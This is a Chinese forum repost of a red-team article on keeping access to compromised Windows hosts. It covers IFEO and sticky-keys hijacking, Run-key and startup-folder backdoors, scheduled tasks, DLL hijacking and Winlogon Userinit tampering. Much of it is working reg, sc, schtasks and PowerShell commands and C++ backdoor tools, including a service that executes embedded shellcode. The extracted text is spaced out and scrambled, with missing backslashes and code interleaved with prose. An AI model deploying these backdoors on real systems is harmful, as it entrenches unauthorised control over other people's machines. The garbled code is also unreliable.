搜索

[18590] 2021-07-03_干货最全Windows权限维持总结

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-07-03_干货最全Windows权限维持总结 干 货   |   最 全 W i n d o w s 权 限 维 持 总 结 原 创   B u f f e r   H A C K 学 习 呀   2 0 2 1 - 0 7 - 0 3 收 录 于 话 题 # 内 网 渗 透   , 2 0 # 权 限 维 持   , 4 # 红 队 攻 防   , 2 0 x 0 1   前 言 前 言 红 队 人 员 拿 到 一 台 主 机 权 限 后 首 先 会 考 虑 将 该 机 器 作 为 一 个 持 久 化 的 据 点 ， 种 植 一 个 具 备 持 久 化 的 后 门 ， 从 而 随 时 可 以 连 接 该 被 控 机 器 进 行 深 入 渗 透 。 通 俗 的 说 抓 到 一 条 鱼 , 不 能 轻 易 放 走 了 。 0 x 0 2   辅 助 功 能 镜 像 劫 持 辅 助 功 能 镜 像 劫 持   为 了 使 电 脑 更 易 于 使 用 和 访 问 ， W i n d o w s   添 加 了 一 些 辅 助 功 能 。 这 些 功 能 可 以 在 用 户 登 录 之 前 以 组 合 键 启 动 。 根 据 这 个 特 征 ， 一 些 恶 意 软 件 无 需 登 录 到 系 统 ， 通 过 远 程 桌 面 协 议 就 可 以 执 行 恶 意 代 码 。 比 如 最 常 见 的 按 5 下 s h i f t 出 现 的 粘 滞 键 S e t h c . e x e ， 还 有 W i n d o w s   +   U 组 合 键 时 启 动 的 u t i l m a n . e x e 程 序 还 有 : 在 较 早 的   W i n d o w s   版 本 ， 只 需 要 进 行 简 单 的 二 进 制 文 件 替 换 ， 比 如 经 典 的 s h i f t 后 门 是 将 C : W i n d o w s S y s t e m 3 2 s e t h c . e x e 替 换 为 c m d . e x e 。 w i n d o w s   2 0 0 3 ， ， X P 可 以 可 视 化 界 面 更 换 也 可 以 命 令 行 :         更 高 版 本 更 高 版 本 我 们 需 要 用 到 I F E O , 即 映 像 劫 持 什 么 是 什 么 是 I F E O 所 谓 的 I F E O 就 是 I m a g e   F i l e   E x e c u t i o n   O p t i o n s ， 直 译 过 来 就 是 映 像 劫 持 。 它 又 被 称 为 “ 重 定 向 劫 持 ” （ R e d i r e c t i o n   H i j a c k ） ， 它 和 “ 映 像 劫 持 ” （ I m a g e   H i j a c k ， 或 I F E O   H i j a c k ） 只 是 称 呼 不 同 ， 实 际 上 都 是 一 样 的 技 术 手 段 。 白 话 来 讲 就 是 做 某 个 操 作 的 时 候 被 拦 截 下 来 ， 干 了 别 的 事 。 屏 幕 键 盘 ： C : W i n d o w s S y s t e m 3 2 o s k . e x e 放 大 镜 ： C : W i n d o w s S y s t e m 3 2 M a g n i f y . e x e 旁 白 ： C : W i n d o w s S y s t e m 3 2 N a r r a t o r . e x e 显 示 切 换 器   C : W i n d o w s S y s t e m 3 2 D i s p l a y S w i t c h . e x e 应 用 切 换 器 ： C : W i n d o w s S y s t e m 3 2 A t B r o k e r . e x e c o p y   c : w i n d o w s s y s t e m 3 2 s e t h c . e x   c : w i n d o w s s y s t e m 3 2 s e t h c 1 . e x e c o p y   c : w i n d o w s s y s t e m 3 2 c m d . e x e   c : w i n d o w s s y s t e m 3 2 s e t h c . e x e
当 我 们 双 击 运 行 程 序 时 ， 系 统 会 查 询 该 I F E O 注 册 表 ， 如 果 发 现 存 在 和 该 程 序 名 称 完 全 相 同 的 子 键 ， 就 查 询 对 应 子 健 中 包 含 的 “ d e b u g g e r ” 键 值 名 ， 如 果 该 参 数 不 为 空 ， 系 统 则 会 把   D e b u g g e r   参 数 里 指 定 的 程 序 文 件 名 作 为 用 户 试 图 启 动 的 程 序 执 行 请 求 来 处 理 。 这 样 成 功 执 行 的 是 遭 到 “ 劫 持 ” 的 虚 假 程 序 。 可 视 化 修 改 可 视 化 修 改 在 i e x p l o r e r . e x e 中 加 入 键 值 对 : d e b u g g e r     c : w i n d o w s s y s t e m 3 2 c m d . e x e 命 令 行 修 改 命 令 行 修 改 当 然 , 需 要 管 理 员 权 限 0 x 0 3   启 动 项 启 动 项 / 服 务 后 门 服 务 后 门 开 始 菜 单 启 动 项 开 始 菜 单 启 动 项 开 始 菜 单 启 动 项 ， 指 示 启 动 文 件 夹 的 位 置 ， 具 体 的 位 置 是 “ 开 始 ” 菜 单 中 的 “ 所 有 程 序 ” - “ 启 动 ” 选 项 ： 相 关 键 值 r e g   a d d   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n s i e x p l o r e . e x e "   / v   " D e b u g g e r "   / t   R E G _ S Z   / d   " c : w i n d o w s s y s t e m 3 2 c m d . e x e "   / f C : U s e r s S D A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r       S h e l l   F o l d e r s H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l       F o l d e r s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l       F o l d e r s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r       S h e l l   F o l d e r s
重 启 后 自 启 由 于 每 台 电 脑 的 快 速 启 动 目 录 不 同 , 可 以 代 码 实 现 # i n c l u d e   < i o s t r e a m > # i n c l u d e   < w i n d o w s . h > # i n c l u d e       < s h l o b j . h > # p r a g m a       c o m m e n t ( l i b ,   " s h e l l 3 2 . l i b " ) B O O L   A u t o R u n _ S t a r t u p ( C H A R *   l p s z S r c F i l e P a t h ,   C H A R *   l p s z D e s t F i l e N a m e ) { B O O L   r e t   =   f a l s e ; C H A R   s z S t a r t P a t h [ M A X _ P A T H ]   =   {   0   } ; C H A R   s z D e s t F i l e P a t h [ M A X _ P A T H ]   =   {   0   } ; / / 返 回 快 速 启 动 目 录 路 径 到 s z S t a r t P a t h r e t   =   : : S H G e t S p e c i a l F o l d e r P a t h A ( N U L L ,   s z S t a r t P a t h , C S I D L _ S T A R T U P , T R U E ) ; / / 判 断 是 否 获 取 成 功 i f   ( r e t   = =   T R U E ) { p r i n t f ( " [ + ] G e t   t h e   q u i c k   s t a r t   d i r e c t o r y   s u c c e s s f u l l y ！ n " ) ; } e l s e { p r i n t f ( " [ ! ] G e t   t h e   q u i c k   s t a r t   d i r e c t o r y   f a i l d ！ n " ) ; r e t u r n   F A L S E ; } / / 构 造 文 件 在 快 速 启 动 目 录 下 的 路 径 : : w s p r i n t f A ( s z D e s t F i l e P a t h , " % s % s " , s z S t a r t P a t h , l p s z D e s t F i l e N a m e ) ; / / 复 制 文 件 到 快 速 启 动 目 录 下
启 动 项 注 册 表 后 门 启 动 项 注 册 表 后 门 值 得 注 意 的 是 , H K E Y _ C U R R E N T _ U S E R 的 改 动 不 需 要 管 理 员 权 限 自 己 写 的 一 个 小 工 具 代 码 不 多 , 也 比 较 简 单 , 还 是 分 享 出 来 ： / / 复 制 文 件 到 快 速 启 动 目 录 下 r e t   =   : : C o p y F i l e A ( l p s z S r c F i l e P a t h ,   s z D e s t F i l e P a t h ,   F A L S E ) ; i f   ( F A L S E   = =   r e t ) { p r i n t f ( " [ ! ] F a i l e d   t o   s a v e   t h e   f i l e   i n   t h e   q u i c k   s t a r t   d i r e c t o r y . n " ) ; r e t u r n   F A L S E ; } e l s e { p r i n t f ( " [ ! ] S u c c e s s f u l l y   t o   s a v e   t h e   f i l e   i n   t h e   q u i c k   s t a r t   d i r e c t o r y . n " ) ; } p r i n t f ( " [ + ] B a c k d o o r   g e n e r a t i o n   i n   q u i c k   s t a r t   d i r e c t o r y   s u c c e s s f u l ! n " ) ; r e t u r n   T R U E ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) { p r i n t f ( " [ * ] U s e a g e : n         % s   % s   % s n " ,   " R u n _ S t a r t U p . e x e " ,   " E : 0 1 0 E d i t o r 0 1 0   E d i t o r 0 1 0 E d i t o r . e x e " ,   " 0 1 0 E d i t o r . e x e " ) ; i f   ( a r g c   = =   3 ) { A u t o R u n _ S t a r t u p ( a r g v [ 1 ] ,   a r g v [ 2 ] ) ; } e l s e { p r i n t f ( " [ ! ] P l e a s e   c h e c k   t h e   n u m b e r   o f   y o u r   p a r a m e t e r s n " ) ; } } H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e # i n c l u d e   < i o s t r e a m > # i n c l u d e   < w i n d o w s . h > B O O L   R e g _ C u r r e n t U s e r ( c o n s t   c h a r *   l p s z F i l e N a m e , c o n s t   c h a r *   l p s z V a l u e N a m e ) { / / 定 义 一 个 注 册 表 句 柄 H K E Y   h K e y ; / / 打 开 注 册 表 键 i f   ( E R R O R _ S U C C E S S   = =   : : R e g O p e n K e y E x ( H K E Y _ C U R R E N T _ U S E R ,   L " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   0 ,   K E Y _ W R I T E ,   & h K e y ) ) { p r i n t f ( " [ + ]   O p e n   R e g K e y   S u c c e s s f u l l y n " ) ; } e l s e { p r i n t f ( " [ ! ]   O p e n   R e g K e y   E r r o r n " ) ; r e t u r n   F A L S E ;
而 更 改 H K E Y _ L O C A L _ M A C H I N E 却 是 需 要 管 理 员 权 限     重 启 后 e x e 会 自 启 , 不 一 定 是 c m d 程 序 , 可 以 换 成 我 们 自 己 的 马 , 达 到 维 持 权 限 的 效 果 使 用 命 令 行 使 用 命 令 行 修 改 H K L M 同 样 需 要 管 理 员 权 限 , 代 码 跟 上 面 差 不 多 H K E Y _ C U R R E N T _ U S E R 同 理 , 但 不 需 要 管 理 员 权 限 } i f   ( E R R O R _ S U C C E S S   = =   : : R e g S e t V a l u e E x A ( h K e y ,   l p s z V a l u e N a m e ,   0 ,   R E G _ S Z ,   ( B Y T E * ) l p s z F i l e N a m e ,   ( 1   +   : : l s t r l e n A ( l p s z F i l e N a m e ) ) ) ) { p r i n t f ( " [ + ]   S e t   V a l u e   S u c c e s s f u l l y n " ) ; } e l s e { : : R e g C l o s e K e y ( h K e y ) ; p r i n t f ( " [ ! ]   S e t   V a l u e   E r r o r n " ) ; r e t u r n   F A L S E ; } p r i n t f ( " [ + ]   T h e   r e g i s t r y   b a c k d o o r   a b o u t   H K E Y _ C U R R E N T _ U S E R   i s   g e n e r a t e d   s u c c e s s f u l l y n " ) ; : : R e g C l o s e K e y ( h K e y ) ; r e t u r n   T R U E ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) { p r i n t f ( " [ * ] U s e a g e : n         % s   % s   % s n " , " M o d i f y R e g . e x e " , " E : 0 1 0 E d i t o r 0 1 0   E d i t o r 0 1 0 E d i t o r . e x e " ,   " 0 1 0 E d i t o r " ) ; i f   ( a r g c   = =   3 ) { R e g _ C u r r e n t U s e r ( a r g v [ 1 ] ,   a r g v [ 2 ] ) ; } e l s e { p r i n t f ( " [ ! ] P l e a s e   c h e c k   t h e   n u m b e r   o f   y o u r   p a r a m e t e r s n " ) ; } } r e g   a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n       / v   " 1 2 3 "   / t   R E G _ S Z   / d   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / f
自 启 动 服 务 后 门 自 启 动 服 务 后 门 在   W i n d o w s 上 还 有 一 个 重 要 的 机 制 ， 也 就 是 服 务 。 服 务 程 序 通 常 默 默 的 运 行 在 后 台 ， 且 拥 有   S Y S T E M   权 限 ， 非 常 适 合 用 于 后 门 持 久 化 。 我 们 可 以 将   E X E   / D L L 等 可 执 行 文 件 注 册 为 服 务 实 现 后 门 持 久 化 。 可 以 通 过 如 下 命 令 行 方 式 添 加 一 个 服 务 也 可 以 直 接 编 写 一 个 服 务 , 穿 插 着 s h e l l c o d e 上 线 s c   c r e a t e   " S D "   b i n p a t h =       " C : U s e r s S D D e s k t o p t e s t . e x e " s c   d e s c r i p t i o n   " S D "       " d e s c r i p t i o n "   设 置 服 务 的 描 述 字 符 串 s c   c o n f i g   " S D "       s t a r t =   a u t o     设 置 这 个 服 务 为 自 动 启 动 n e t   s t a r t   " S D "       启 动 服 务 # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < i o s t r e a m > u n s i g n e d   c h a r   b u f [ ]   = " x f c x e 8 x 8 9 x 0 0 x 0 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x 3 6 x 3 8 x 2 e x 3 1 x 2 e x 3 1 x 3 0 x 3 6 x 0 0 x 1 2 x 3 4 x 5 6 x 7 8 " ; # d e f i n e   S L E E P _ T I M E   5 0 0 0                                                     / * 间 隔 时 间 * / # d e f i n e   L O G F I L E   " C : W i n d o w s l o g 1 . t x t "                             / * 信 息 输 出 文 件 * / S E R V I C E _ S T A T U S   S e r v i c e S t a t u s ;     / * 服 务 状 态 * / S E R V I C E _ S T A T U S _ H A N D L E   h S t a t u s ;   / * 服 务 状 态 句 柄 * / v o i d     S e r v i c e M a i n ( i n t   a r g c ,   c h a r * *   a r g v ) ; v o i d     C t r l H a n d l e r ( D W O R D   r e q u e s t ) ; i n t       I n i t S e r v i c e ( ) ; i n t   m a i n ( i n t   a r g c ,   C H A R *   a r g v [ ] ) { W C H A R   W s e r v i c e N a m e [ ]   =   T E X T ( " s d d d " ) ; S E R V I C E _ T A B L E _ E N T R Y   S e r v i c e T a b l e [ 2 ] ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e N a m e   =   W s e r v i c e N a m e ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e P r o c   =   ( L P S E R V I C E _ M A I N _ F U N C T I O N ) S e r v i c e M a i n ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e N a m e   =   N U L L ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e P r o c   =   N U L L ; S t a r t S e r v i c e C t r l D i s p a t c h e r ( S e r v i c e T a b l e ) ; r e t u r n   0 ; } i n t   W r i t e T o L o g ( c o n s t   c h a r *   s t r ) { F I L E *   p f i l e ; f o p e n _ s ( & p f i l e ,   L O G F I L E ,   " a + " ) ; i f   ( p f i l e   = =   N U L L ) { r e t u r n   - 1 ; } f p r i n t f _ s ( p f i l e ,   " % s n " ,   s t r ) ; f c l o s e ( p f i l e ) ;
r e t u r n   0 ; } / * S e r v i c e   i n i t i a l i z a t i o n * / i n t   I n i t S e r v i c e ( ) { C H A R   M e s s a g e [ ]   =   " M o n i t o r i n g   s t a r t e d . " ; O u t p u t D e b u g S t r i n g ( T E X T ( " M o n i t o r i n g   s t a r t e d . " ) ) ; i n t   r e s u l t ; r e s u l t   =   W r i t e T o L o g ( M e s s a g e ) ; r e t u r n ( r e s u l t ) ; } / * C o n t r o l   H a n d l e r * / v o i d   C t r l H a n d l e r ( D W O R D   r e q u e s t ) { s w i t c h   ( r e q u e s t ) { c a s e   S E R V I C E _ C O N T R O L _ S T O P : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; c a s e   S E R V I C E _ C O N T R O L _ S H U T D O W N : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; d e f a u l t : b r e a k ; } / *   R e p o r t   c u r r e n t   s t a t u s     * / S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; } v o i d   S e r v i c e M a i n ( i n t   a r g c ,   c h a r * *   a r g v ) { W C H A R   W s e r v i c e N a m e [ ]   =   T E X T ( " s d d d " ) ; i n t   e r r o r ; S e r v i c e S t a t u s . d w S e r v i c e T y p e   = S E R V I C E _ W I N 3 2 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ S T A R T _ P E N D I N G ; / * 在 本 例 中 只 接 受 系 统 关 机 和 停 止 服 务 两 种 控 制 命 令 * / S e r v i c e S t a t u s . d w C o n t r o l s A c c e p t e d   = S E R V I C E _ A C C E P T _ S H U T D O W N   | S E R V I C E _ A C C E P T _ S T O P ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w S e r v i c e S p e c i f i c E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C h e c k P o i n t   =   0 ; S e r v i c e S t a t u s . d w W a i t H i n t   =   0 ; h S t a t u s   =   : : R e g i s t e r S e r v i c e C t r l H a n d l e r ( W s e r v i c e N a m e , ( L P H A N D L E R _ F U N C T I O N ) C t r l H a n d l e r ) ; i f   ( h S t a t u s   = =   ( S E R V I C E _ S T A T U S _ H A N D L E ) 0 ) { W r i t e T o L o g ( " R e g i s t e r S e r v i c e C t r l H a n d l e r   f a i l e d " ) ; r e t u r n ; } W r i t e T o L o g ( " R e g i s t e r S e r v i c e C t r l H a n d l e r   s u c c e s s " ) ; / *   I n i t i a l i z e   S e r v i c e       * / e r r o r   =   I n i t S e r v i c e ( ) ; i f   ( e r r o r ) { / *   I n i t i a l i z a t i o n   f a i l e d     * /
这 其 实 也 是 p s e x e c 的 原 理 : 建 立 连 接 后 创 建 服 务 反 弹 s h e l l 删 除 服 务 : 0 x 0 4   系 统 计 划 任 务 后 门 系 统 计 划 任 务 后 门 W i n d o w s 实 现 定 时 任 务 主 要 有 s c h t a s k s 与 a t 二 种 方 式 : A t   适 用 于 w i n d o w s   x p / 2 0 0 3 ， S c h t a s k s 适 用 于 w i n 7 / 2 0 0 8 或 者 以 后 S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ S T O P P E D ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   - 1 ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; } L P V O I D   M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ; m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ; ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; / * 向 S C M   报 告 运 行 状 态 * / S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ R U N N I N G ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; / * d o   s o m e t h i n g   y o u   w a n t   t o   d o   i n   t h i s   w h i l e   l o o p * / M E M O R Y S T A T U S   m e m s t a t u s ; w h i l e   ( S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = = S E R V I C E _ R U N N I N G ) { c h a r   b u f f e r [ 1 6 ] ; G l o b a l M e m o r y S t a t u s ( & m e m s t a t u s ) ; i n t   a v a i l m b   =   m e m s t a t u s . d w A v a i l P h y s   /   1 0 2 4   /   1 0 2 4 ; s p r i n t f _ s ( b u f f e r ,   1 0 0 ,   " a v a i l a b l e   m e m o r y   i s   % d M B " ,   a v a i l m b ) ; i n t   r e s u l t   =   W r i t e T o L o g ( b u f f e r ) ; i f   ( r e s u l t ) { S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   - 1 ; S e t S e r v i c e S t a t u s ( h S t a t u s , & S e r v i c e S t a t u s ) ; r e t u r n ; } S l e e p ( S L E E P _ T I M E ) ; } W r i t e T o L o g ( " s e r v i c e   s t o p p e d " ) ; r e t u r n ; } s c   d e l e t e   " S D "
每 五 分 钟 执 行 一 次 0 x 0 5   D L L 劫 持 劫 持 D L L 劫 持 漏 洞 之 所 以 被 称 为 漏 洞 ， 还 要 从 负 责 加 载 D L L 的 系 统 A P I   L o a d L i b r a r y   来 看 。 熟 悉 W i n d o w s 代   码 的 同 学 都 知 道 ， 调   L o a d L i b r a r y   时 可 以 使 D L L 的 相 对 路 径 。 这 时 ， 系 统 会 按 照 特 定 的 顺 序 搜 索   些 录 ， 以 确 定 D L L 的 完 整 路 径 。 根 据 M S D N 档 的 约 定 ， 在 使 相 对 路 径 调   L o a d L i b r a r y   （ 同 样 适   于 其 他 同 类 D L L   L o a d L i b r a r y E x ， S h e l l E x e c u t e E x 等 ） 时 ， 系 统 会 依 次 从 以 下 6 个 位 置 去 查 找 所 需 要 的   D L L 件 （ 会 根 据 S a f e D l l S e a r c h M o d e 配 置 稍 有 不 同 ） 。 1 .   程 序 所 在 录 。 2 .   加 载   D L L   时 所 在 的 当 前 录 。 3 .   系 统 录 即   S Y S T E M 3 2   录 。 4 .   1 6 位 系 统 录 即   S Y S T E M   录 。 5 .   W i n d o w s 录 。 6 .   P A T H 环 境 变 量 中 列 出 的 录 d l l 劫 持 就 发 在 系 统 按 照 顺 序 搜 索 这 些 特 定 录 时 。 只 要 客 能 够 将 恶 意 的 D L L 放 在 优 先 于 正 常 D L L 所 在 的 录 ， 就 能 够 欺 骗 系 统 优 先 加 载 恶 意 D L L ， 来 实 现 “ 劫 持 ” 。 在 w i n 7 及 w i n 7 以 上 系 统 增 加 了 K n o w n D L L s 保 护 ， 需 要 在 如 下 注 册 表 下 添 加 d l l 才 能 顺 利 劫 持 ： 关 于 d l l 劫 持 的 文 章 有 很 多 , 也 需 要 去 挖 掘 , 这 里 推 荐 一 篇 文 章 入 门 , 也 是 本 人 写 的 : h t t p s : / / w w w . c n b l o g s . c o m / p u n i s h e d / p / 1 4 7 1 5 7 7 1 . h t m l 0 x 0 6   W i n l o g o n 用 户 登 录 初 始 化 用 户 登 录 初 始 化 w i n l o g o n . e x e 是 w i n d o w s 中 非 常 重 要 的 进 程 , 在 用 户 还 没 登 录 系 统 之 前 就 已 经 存 在 , 并 与 密 码 验 证 相 关 的 重 要 任 务 精 密 相 关 。 例 如 ， 当 在 用 户 登 录 时 ， W i n l o g o n   进 程 负 责 将 用 户 配 置 文 件 加 载 到 注 册 表 中 : 对 这 些 注 册 表 项 的 恶 意 修 改 可 能 导 致   W i n l o g o n   加 载 和 执 行 恶 意   D L L   或 可 执 行 文 件 。 命 令 行 : s c h t a s k s   / c r e a t e   / s c   m i n u t e   / m o   5       / t n   " s d "   / t r   C : W i n d o w s S y s t e m 3 2 c m d . e x e H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e s s i o n M a n a g e r E x c l u d e F r o m K n o w n D l l s H K L M S o f t w a r e M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n H K C U S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n r e g   d e l e t e   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n "   / v   U s e r i n i t   / f r e g   a d d   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n "     / v   " U s e r i n i t "   / t   R E G _ S Z   / d   " C : W i n d o w s s y s t e m 3 2 c m d . e x e , "   / f
可 以 p o w e r s h e l l 一 句 话 更 改 0 x 0 7   L o g o n   S c r i p t s 后 门 后 门 W i n d o w s 登 录 脚 本 ， 当 用 户 登 录 时 触 发 ， L o g o n   S c r i p t s 能 够 优 先 于 杀 毒 软 件 执 行 ， 绕 过 杀 毒 软 件 对 敏 感 操 作 的 拦 截 。 注 册 表 位 置 : 增 加 键 值 对   S e t - I t e m P r o p e r t y       " H K L M : S O F T W A R E M i c r o s o f t W I N D O W S   N T C u r r e n t V e r s i o n W i n l o g o n "   - n a m e       U s e r i n i t   - v a l u e   " C : W i n d o w s s y s t e m 3 2 u s e r i n i t . e x e , C : W i n d o w s s y s t e m 3 2 c m d . e x e " H K E Y _ C U R R E N T _ U S E R E n v i r o n m e n t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理